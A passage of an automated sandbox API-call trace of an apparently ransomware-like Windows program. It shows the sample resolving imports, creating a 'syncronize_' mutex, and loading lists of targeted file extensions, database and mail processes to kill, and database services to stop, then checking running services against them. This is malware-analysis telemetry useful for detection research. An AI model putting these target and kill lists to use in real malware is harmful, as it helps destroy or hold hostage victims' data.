returned 0x75146c70 [0123.675] GetProcAddress (hModule=0x75130000, lpProcName="lstrlenA") returned 0x75146c50 [0123.675] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcess") returned 0x7519ea10 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="WaitForSingleObject") returned 0x7519eca0 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalDrives") returned 0x75140d20 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="GetTickCount") returned 0x7519dd50 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="DeleteFileW") returned 0x7519ed40 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="WideCharToMultiByte") returned 0x75146b10 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7519ebb0 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="Sleep") returned 0x75146760 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="LeaveCriticalSection") returned 0x770db250 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="ReadFile") returned 0x7519f090 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="CreateFileW") returned 0x7519ed10 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="OpenMutexW") returned 0x7519ebf0 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="EnterCriticalSection") returned 0x770db2d0 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="WaitForMultipleObjects") returned 0x7519ec80 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="lstrcmpiW") returned 0x75146bf0 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="lstrcmpiA") returned 0x75146bd0 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="DeleteCriticalSection") returned 0x770bfb90 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="ReleaseMutex") returned 0x7519ec20 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="CloseHandle") returned 0x7519eab0 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="GetVersion") returned 0x751456c0 [0123.676] GetProcAddress (hModule=0x75130000, lpProcName="CreateThread") returned 0x751446b0 [0123.677] GetProcAddress (hModule=0x75130000, lpProcName="ExpandEnvironmentStringsW") returned 0x75144a40 [0123.677] GetProcAddress (hModule=0x75130000, lpProcName="QueryPerformanceCounter") returned 0x75145da0 [0123.677] GetProcAddress (hModule=0x75130000, lpProcName="QueryPerformanceFrequency") returned 0x75145dc0 [0123.677] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcessId") returned 0x7519ea20 [0123.677] GetProcAddress (hModule=0x75130000, lpProcName="SetFileAttributesW") returned 0x7519f100 [0123.677] GetProcAddress (hModule=0x75130000, lpProcName="GetVolumeInformationW") returned 0x7519f020 [0123.677] GetProcAddress (hModule=0x75130000, lpProcName="WriteFile") returned 0x7519f180 [0123.677] GetProcAddress (hModule=0x75130000, lpProcName="SetFilePointerEx") returned 0x7519f130 [0123.677] GetProcAddress (hModule=0x75130000, lpProcName="SetEndOfFile") returned 0x7519f0e0 [0123.677] GetProcAddress (hModule=0x75130000, lpProcName="FindFirstFileW") returned 0x7519edf0 [0123.677] GetProcAddress (hModule=0x75130000, lpProcName="GetProcessHeap") returned 0x751451f0 [0123.677] GetProcAddress (hModule=0x75130000, lpProcName="HeapReAlloc") returned 0x770cf630 [0123.677] GetProcAddress (hModule=0x75130000, lpProcName="HeapAlloc") returned 0x770d2dc0 [0123.677] GetProcAddress (hModule=0x75130000, lpProcName="HeapFree") returned 0x751457f0 [0123.677] GetProcAddress (hModule=0x75130000, lpProcName="CreatePipe") returned 0x75144590 [0123.678] GetProcAddress (hModule=0x75130000, lpProcName="SetHandleInformation") returned 0x7519eae0 [0123.678] GetProcAddress (hModule=0x75130000, lpProcName="CreateProcessW") returned 0x75144610 [0123.678] GetProcAddress (hModule=0x75130000, lpProcName="CompareStringW") returned 0x75144430 [0123.678] GetProcAddress (hModule=0x75130000, lpProcName="CompareStringA") returned 0x75144410 [0123.678] GetProcAddress (hModule=0x75130000, lpProcName="OpenProcess") returned 0x75145cc0 [0123.678] GetProcAddress (hModule=0x75130000, lpProcName="TerminateProcess") returned 0x751467e0 [0123.678] GetProcAddress (hModule=0x75130000, lpProcName="GetSystemTime") returned 0x751454e0 [0123.678] GetProcAddress (hModule=0x75130000, lpProcName="SystemTimeToFileTime") returned 0x751467a0 [0123.678] GetProcAddress (hModule=0x75130000, lpProcName="GetLastError") returned 0x75145010 [0123.678] GetProcAddress (hModule=0x75130000, lpProcName="CreateToolhelp32Snapshot") returned 0x7517edc0 [0123.678] GetProcAddress (hModule=0x75130000, lpProcName="Process32NextW") returned 0x7517f8f0 [0123.678] GetProcAddress (hModule=0x75130000, lpProcName="Process32FirstW") returned 0x7517f750 [0123.678] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x767a0000 [0123.998] GetProcAddress (hModule=0x767a0000, lpProcName="RegOpenKeyExW") returned 0x767be580 [0123.998] GetProcAddress (hModule=0x767a0000, lpProcName="RegQueryValueExW") returned 0x767be5a0 [0123.998] GetProcAddress (hModule=0x767a0000, lpProcName="RegSetValueExW") returned 0x767bf530 [0123.998] GetProcAddress (hModule=0x767a0000, lpProcName="RegCloseKey") returned 0x767bed60 [0123.998] GetProcAddress (hModule=0x767a0000, lpProcName="OpenProcessToken") returned 0x767befb0 [0123.998] GetProcAddress (hModule=0x767a0000, lpProcName="GetTokenInformation") returned 0x767bee90 [0123.998] GetProcAddress (hModule=0x767a0000, lpProcName="OpenSCManagerW") returned 0x767c0540 [0123.998] GetProcAddress (hModule=0x767a0000, lpProcName="OpenServiceW") returned 0x767bfa20 [0123.998] GetProcAddress (hModule=0x767a0000, lpProcName="CloseServiceHandle") returned 0x767bfc00 [0123.998] GetProcAddress (hModule=0x767a0000, lpProcName="ControlService") returned 0x767d26d0 [0123.998] GetProcAddress (hModule=0x767a0000, lpProcName="QueryServiceStatus") returned 0x767c2380 [0123.998] GetProcAddress (hModule=0x767a0000, lpProcName="EnumDependentServicesW") returned 0x767d2f70 [0123.998] GetProcAddress (hModule=0x767a0000, lpProcName="EnumServicesStatusExW") returned 0x767bfc80 [0123.998] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75ce0000 [0124.585] GetProcAddress (hModule=0x75ce0000, lpProcName="SystemParametersInfoW") returned 0x75d0f210 [0124.585] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x73b80000 [0125.500] GetProcAddress (hModule=0x73b80000, lpProcName="ShellExecuteExW") returned 0x73ce4730 [0125.500] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77090000 [0125.501] GetProcAddress (hModule=0x77090000, lpProcName="NtQuerySystemInformation") returned 0x77102070 [0125.501] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73a90000 [0125.514] GetProcAddress (hModule=0x73a90000, lpProcName="WNetCloseEnum") returned 0x73a92640 [0125.514] GetProcAddress (hModule=0x73a90000, lpProcName="WNetOpenEnumW") returned 0x73a92790 [0125.514] GetProcAddress (hModule=0x73a90000, lpProcName="WNetEnumResourceW") returned 0x73a92410 [0125.514] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75730000 [0125.522] GetProcAddress (hModule=0x75730000, lpProcName="WSAStartup") returned 0x75735b40 [0125.522] GetProcAddress (hModule=0x75730000, lpProcName="socket") returned 0x75744510 [0125.522] GetProcAddress (hModule=0x75730000, lpProcName="send") returned 0x75735030 [0125.522] GetProcAddress (hModule=0x75730000, lpProcName="recv") returned 0x75740c50 [0125.522] GetProcAddress (hModule=0x75730000, lpProcName="connect") returned 0x75735410 [0125.522] GetProcAddress (hModule=0x75730000, lpProcName="closesocket") returned 0x75740910 [0125.523] GetProcAddress (hModule=0x75730000, lpProcName="gethostbyname") returned 0x75766cb0 [0125.523] GetProcAddress (hModule=0x75730000, lpProcName="inet_addr") returned 0x75749160 [0125.523] GetProcAddress (hModule=0x75730000, lpProcName="ntohl") returned 0x757349d0 [0125.523] GetProcAddress (hModule=0x75730000, lpProcName="htonl") returned 0x757349d0 [0125.523] GetProcAddress (hModule=0x75730000, lpProcName="htons") returned 0x75748ff0 [0125.523] GetProcessHeap () returned 0x510000 [0125.523] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x51b040 [0125.523] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=5110608453) returned 1 [0125.523] GetTickCount () returned 0xc786 [0125.523] GetCurrentProcessId () returned 0xdd4 [0125.524] GetTickCount () returned 0xc786 [0125.524] GetTickCount () returned 0xc786 [0125.524] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x51ae88 [0125.524] GetVersion () returned 0x23f00206 [0125.524] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7) returned 0x526e68 [0125.524] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x527f90 [0125.524] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x527f90, Size=0x20) returned 0x51b0e0 [0125.524] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x51b0e0, Size=0x40) returned 0x527a70 [0125.525] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x52e868 [0125.525] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_72VX64A") returned 0x0 [0125.525] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_72VX64A") returned 0x1ec [0125.525] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x526e68 | out: hHeap=0x510000) returned 1 [0125.525] lstrlenW (lpString="Global\\syncronize_") returned 18 [0125.525] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x527a70 | out: hHeap=0x510000) returned 1 [0125.525] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7) returned 0x526ee8 [0125.525] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x528128 [0125.525] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x528128, Size=0x20) returned 0x51b0e0 [0125.525] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x51b0e0, Size=0x40) returned 0x527710 [0125.525] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x53e870 [0125.525] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_72VX64U") returned 0x0 [0125.525] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_72VX64U") returned 0x1f0 [0125.526] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x526ee8 | out: hHeap=0x510000) returned 1 [0125.526] lstrlenW (lpString="Global\\syncronize_") returned 18 [0125.526] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x527710 | out: hHeap=0x510000) returned 1 [0125.526] GetVersion () returned 0x23f00206 [0125.526] GetCurrentProcess () returned 0xffffffff [0125.526] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0125.526] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0125.526] CloseHandle (hObject=0x1f4) returned 1 [0125.526] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x526358 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x527ea0 [0125.526] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x527ea0, Size=0x20) returned 0x51b0e0 [0125.526] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x51b0e0, Size=0x40) returned 0x527518 [0125.526] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x527518, Size=0x80) returned 0x526870 [0125.526] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x526870, Size=0x100) returned 0x527d40 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x34) returned 0x52a700 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x526e68 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x526ee8 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x526d68 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x528008 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x526ef8 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x527ee8 [0125.526] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x526ef8, Size=0x8) returned 0x526f08 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x527fd8 [0125.526] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x526f08, Size=0x10) returned 0x527f90 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x528020 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x528128 [0125.526] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x527f90, Size=0x20) returned 0x51b0e0 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x528140 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x527ea0 [0125.526] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x526e68, Size=0x8) returned 0x526ef8 [0125.526] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x526ee8, Size=0x8) returned 0x526e68 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x526ee8 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x527eb8 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x526f08 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x527f90 [0125.526] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x526f08, Size=0x8) returned 0x526f28 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5281d0 [0125.526] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x526f28, Size=0x10) returned 0x528248 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5281b8 [0125.526] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x526f08 [0125.527] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x528248, Size=0x20) returned 0x54ee98 [0125.527] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x526ef8, Size=0x10) returned 0x5281e8 [0125.527] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x526e68, Size=0x10) returned 0x5281a0 [0125.527] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x526e68 [0125.527] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x528218 [0125.527] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x526ef8 [0125.527] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x528200 [0125.527] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x526ef8, Size=0x8) returned 0x526f28 [0125.527] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x526ef8 [0125.527] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x528230 [0125.527] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x526d88 [0125.527] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x528248 [0125.527] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x526d88, Size=0x8) returned 0x54f3b0 [0125.527] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5281e8, Size=0x20) returned 0x54ee48 [0125.527] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5281a0, Size=0x20) returned 0x54eee8 [0125.527] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f380 [0125.527] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x528260 [0125.527] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x54f2f0 [0125.527] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5281a0 [0125.527] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f2f0, Size=0x8) returned 0x54f3c0 [0125.527] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x5260f8 [0125.527] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x526378 [0125.527] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0125.527] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x527d40 | out: hHeap=0x510000) returned 1 [0125.527] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0125.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5281e8 [0125.531] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5281e8, Size=0x20) returned 0x54edd0 [0125.531] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54edd0, Size=0x40) returned 0x5277e8 [0125.531] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5277e8, Size=0x80) returned 0x527d40 [0125.531] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x527d40, Size=0x100) returned 0x527d40 [0125.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5281e8 [0125.531] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5281e8, Size=0x20) returned 0x54ef38 [0125.531] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54ef38, Size=0x40) returned 0x527b00 [0125.532] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x527b00, Size=0x80) returned 0x528600 [0125.532] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x528600, Size=0x100) returned 0x528600 [0125.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5281e8 [0125.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x54f470 [0125.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x554520 [0125.532] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f470, Size=0x8) returned 0x54f2b0 [0125.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x5263f8 [0125.532] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f2b0, Size=0x10) returned 0x554460 [0125.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x526298 [0125.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1a) returned 0x54ef10 [0125.532] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x554460, Size=0x20) returned 0x54ee70 [0125.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c) returned 0x54efb0 [0125.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x16) returned 0x526178 [0125.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1a) returned 0x54eec0 [0125.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x554490 [0125.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x54f430 [0125.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x527518 [0125.532] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f430, Size=0x8) returned 0x54f3d0 [0125.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x3c) returned 0x527b48 [0125.532] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f3d0, Size=0x10) returned 0x5544f0 [0125.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x5260b8 [0125.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x526198 [0125.532] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544f0, Size=0x20) returned 0x54ee20 [0125.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x525428 [0125.532] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0125.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x527d40 | out: hHeap=0x510000) returned 1 [0125.532] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0125.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x528600 | out: hHeap=0x510000) returned 1 [0125.533] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x54eda8 [0125.597] EnumServicesStatusExW (in: hSCManager=0x54eda8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0125.601] GetLastError () returned 0xea [0125.601] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1b4e) returned 0x556320 [0125.601] EnumServicesStatusExW (in: hSCManager=0x54eda8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x556320, cbBufSize=0x1b4e, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x556320, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0125.601] CloseServiceHandle (hSCObject=0x54eda8) returned 1 [0125.602] lstrlenW (lpString="AppXSvc") returned 7 [0125.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0125.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0125.614] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0125.614] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0125.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0125.614] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0125.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0125.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0125.614] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0125.614] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0125.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0125.614] lstrlenW (lpString="Audiosrv") returned 8 [0125.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0125.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0125.614] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0125.614] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0125.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0125.614] lstrlenW (lpString="BFE") returned 3 [0125.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0125.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0125.614] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0125.614] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0125.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0125.614] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0125.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0125.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0125.614] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0125.615] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0125.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0125.615] lstrlenW (lpString="CDPSvc") returned 6 [0125.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0125.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0125.615] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0125.615] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0125.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0125.615] lstrlenW (lpString="ClickToRunSvc") returned 13 [0125.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0125.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0125.615] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0125.615] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0125.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0125.615] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0125.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0125.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0125.615] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0125.615] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0125.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0125.615] lstrlenW (lpString="CryptSvc") returned 8 [0125.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0125.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0125.615] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0125.615] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0125.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0125.615] lstrlenW (lpString="DcomLaunch") returned 10 [0125.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0125.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0125.615] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0125.615] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0125.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0125.615] lstrlenW (lpString="DeviceAssociationService") returned 24 [0125.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0125.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0125.615] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0125.615] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0125.615] lstrcmpiW 